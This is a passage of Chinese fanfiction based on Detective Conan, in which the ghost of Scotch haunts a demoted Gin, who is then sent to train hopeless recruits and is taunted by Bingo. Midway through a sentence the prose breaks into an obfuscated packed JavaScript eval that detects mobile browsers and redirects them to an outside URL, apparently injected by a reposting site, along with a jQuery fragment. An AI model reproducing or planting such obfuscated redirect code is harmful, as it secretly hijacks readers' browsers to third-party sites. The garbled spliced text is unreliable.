一颗子弹从枪膛射出,夹带的冲击波让苏格兰不禁放开了手。他和琴酒距离极近,按理是来不及躲的,好在子弹接触到他的瞬间,灵体有意识般朝四周散开。 错愕的表情定格在苏格兰脸上,他胸口破了个大洞,是成人拳头都能探过去的宽度。 那颗子弹透过空洞,直直飞向天花板。 “啧。” 琴酒不屑嗤了声。这是他第一次见鬼,原来影视里说鬼没有实体,是真的。换言之,什么武器都伤不到苏格兰。 他冷着脸等待承受苏格兰的怒火,毕竟被偷袭,发怒也很正常。谁知下一秒,苏格兰竟脸色痛苦地从琴酒身上倒下去。 苏格兰滚下沙发,汗流如浆,狼狈地瘫坐在地上大喘气,琴酒注意到苏格兰的手一直抚着胸口破洞的位置。 电光火石间,他想起自己曾检查过苏格兰的尸体——这家伙是被赤井秀一一枪打爆胸口而死的。 哪怕是鬼也会被生前致自己死亡的东西吓到吗? 可谁让苏格兰没防住赤井,被一枪干掉了?蠢货果然是蠢货。 琴酒没有愧疚,面无表情地曲腿从沙发上站起来,他看也没看苏格兰一眼,径直走向浴室,手放上握把时,突然想起乌丸办公室那个爆裂的马克杯。 不管怎么说,当时当刻,苏格兰也替他解围了。 琴酒没回头,“我打翻你的香炉,你害我丢代号,我们扯平,你滚吧。” 说完,琴酒走进浴室,把那道黏在后背的视线挡在门外。 哗哗—— 浴室里响起源源不断的水声。等琴酒洗完出来,客厅里已经不见苏格兰仓皇的身影,唯独阳台的风铃还在自顾自旋转。 “叮叮当——叮叮当——” * 琴酒难得睡了个好觉。第二天,他走到客厅,一眼瞥见香炉里那烧了半截的香,又联想到昨晚苏格兰贪婪进食的模样。 琴酒按按额角摒除杂念,环顾四周时没发现窥探的视线,这让他阴霾许久的心情也跟着明媚起来。 等洗漱完毕用完早餐,琴酒照例去地下停车场取车,虽然没了代号,但保时捷是他自己花钱买的。 琴酒在停车场遇到等候多时的伏特加,对方一见他,就三步并两步迎上来,“大哥,我来接您上班。” 伏特加脸上带着讨好的笑,细看会发现紧绷的嘴角有些小心翼翼的味道,琴酒真不知是说他愚蠢还是粗线条更好。 琴酒脚步不停往前走,“我已经没有代号,你也不用再来接我上班。” “可在我心里,您永远是我大哥,接大哥上班是天经地义的。” 那掷地有声的反驳震得琴酒耳膜都痛,他调整下表情转身,伏特加倔强的身影映入眼帘。 “如果我是你,就会立刻去找一个新靠山。被人轻视的感觉,你最清楚,不是吗?” 一句话,成功让伏特加身形微僵。 “大哥——”他声音颤抖道,仿佛背地里做了什么坏事被琴酒察觉。 琴酒甩下伏特加独自上车,车启动不久,车内温度迅速下降,窗户上凝结一层薄雾。副驾驶座上缓缓浮现团白影,那白影逐渐清晰,直到变成让琴酒倍感头疼的讨厌鬼——苏格兰。 “你为什么老对伏特加这么凶?” “你又为什么老阴魂不散?” “但我知道你是个好人,否则你不会在伏特加被宾加欺负的时候挺身而出。” 琴酒不由皱眉,“你那时候也在?你到底还有什么瞒着我?” 苏格兰犹豫了下转移话题:“能把窗关上吗?太阳太晒了,我身上有点痛。” 琴酒瞥他一眼让他滚,苏格兰没办法,只好自己动手。琴酒眼睁睁看着,车窗在他没碰任何按钮的情况下升起来。车内变得一片昏暗,可苏格兰还嫌不够,回头,试图抓取琴酒放在后座的备用薄毯。 他伸出的手苍白细瘦,每次都能精准地穿过薄毯,捞到空气。 几次尝试后,苏格兰低头沮丧。琴酒一副看热闹的心态,瞥见他衬衫焦黑的下摆和衣服下若隐若现的皮肤,眼神一顿,没好气地从鼻腔憋出声冷哼。 他长臂一伸,捞起薄毯扔在苏格兰身上。 苏格兰先是一愣,而后迅速把自己从头到脚整个盖住。他双手攥着薄毯,从底下露出双无辜的猫眼对琴酒笑,“多谢,我就知道你本性不坏。” “……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004652|194016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>怪不得能跟伏特加做朋友。 * 琴酒一进组织,立刻被叫到朗姆办公室。朗姆双手托下巴,坐在放置了地球仪的办公桌后。 “哎呀,我都没想到自己能有管辖你的一天,Gin。说实话,我觉得你太可惜了。如果愿意说出是谁搅乱了任务,也不至于变成现在这样。反正肯定不是你,对吧?” 他说着“可惜”,嘴角却恨不得咧到耳朵根,少顷,猛然想起似地,“对了,现在不能叫你Gin。那叫什么?阿阵可以吗?你师傅以前经常这么叫你吧。” 『阵』是琴酒的名。 琴酒不会被朗姆这种小伎俩激到,眉都不皱一下回答:“废话少说,有什么事要我做?” …… 片刻,琴酒出现在射击场,周围围了一群近期招募的新人。琴酒一眼看出他们不是什么有用的材料,那细瘦的胳膊,软趴趴的皮.肉,还有一踹就会倒下的双腿。 这群人却浑然不知,像精力旺盛的麻雀一直叽叽喳喳:“啊,您就是琴酒先生吗?那个组织里鼎鼎大名的Top Killer?” “我已经不叫Gin,你们可以叫我黑泽。” 新人们你看看我,我看看你,每人脸上都挂着迷惑的表情。但琴酒身高很高,气场又太强,让他们不敢追问原因。 过了好一会儿,才有个看上去最活泼的男人深吸口气打破僵局,“无论如何,都谢谢您愿意来指导我们。前几天,一批同期被挑走了,我们还以为自己没了希望,要被安排去扫厕所呢!” 果然如此。 琴酒毫不意外,朗姆不可能把好苗子留给他,为的只是把他扔在一群无望的垃圾里,消耗他的精神罢了。 琴酒嘲讽一笑,拍拍手,“先让我看看你们的能耐。” 第一项,组枪。 因为没代号成员很难预定到场地,在场12个人,有一半以上是第一次见枪,更别提了解枪的内部构造。光是示范,琴酒就做了三次。他们中,有人能把枪完整地拆下来,不缺少零件,已经算奇迹。 第二项,射击。 比刚才更糟,12人里,只有两个曾经和朋友在游乐场用枪打过气球。其余人有的开枪前会忘记撤下保险栓,有的承受不了后坐力,有的甚至会被枪声吓到。 能打中靶子的一个都没有。 『无望』。 这是大多数带教训练新人时,唯一的感受。 琴酒面无表情看着。突然,一道幸灾乐祸的声音从旁边插.进.来。 “你居然沦落到这种地步啊,Gin?” 琴酒不用回头,就知道来人是谁——朗姆的走狗,宾加。 “你有事吗?”琴酒抱着胳膊问。 “当然,我需要来练枪。你懂规矩的吧?代号成员要用射击场的时候,没代号的成员无条件避让。” 琴酒漫不经心瞥他一眼,命令新人们让位。 新人们表情不忿,却深知等级差异,敢怒不敢言退在一边。 宾加趾高气昂站到场中央,戴上降噪耳机,拿起枪,随着远处的靶子竖起,他利落地扣动扳机。 子弹像离弦的箭冲出去,眼看就要击中靶心,一道白影闪过,那子弹如被空气墙挡住,以诡异的角度掉落到地上。 这一幕发生极快,白影的出现和消失都只是眨眼功夫。在外人看来,是宾加技术不精,琴酒却瞧得明晰,是苏格兰那家伙先截住子弹,再狠狠丢弃。 琴酒勾了勾唇。 冰冷的女性机械音从头顶响起: “代号成员宾加,第一次射击,脱靶!” 射击场里静悄悄的,被宾加看不起的新人们大气不敢出喘一声,生怕触到霉头。打破寂静的,是琴酒一声短促的嗤笑。 “呵——” 果不其然,原本背对他们的宾加听到后,立刻转过身,扭曲着脸,气势汹汹朝琴酒走来。 “你笑什么?” “没什么,突然喉咙痒而已。” “……”宾加看着周围那群新人欲盖弥彰的视线,顿时怒从中来,一把揪住琴酒的胳膊,“你,进来陪练!” “什么?” 宾加盯着琴酒,眼里满是不怀好意的笑:“没代号的成员有义务向有代号的成员提供陪练,你不知道吗?”